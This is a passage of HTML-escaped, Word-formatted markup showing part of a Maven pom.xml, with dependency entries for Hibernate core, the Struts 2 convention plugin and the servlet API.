font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.hibernate&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;hibernate&lt;/span&gt;&lt;/u&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;-core&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;3.6.7.Final&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: #3f5fbf; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;!-- &lt;u&gt;Hibernate&lt;/u&gt; core library dependency start --&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;org.apache.struts&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;struts2-convention-&lt;u&gt;plugin&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;2.1.8.1&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;javax.servlet&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;javax.servlet-&lt;u&gt;api&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;3.0.1&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;scope&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;provided&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;scope&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &amp;quot;Courier New&amp;quot;; font-size: 8.0pt; mso-bidi-font-size: 10.0pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
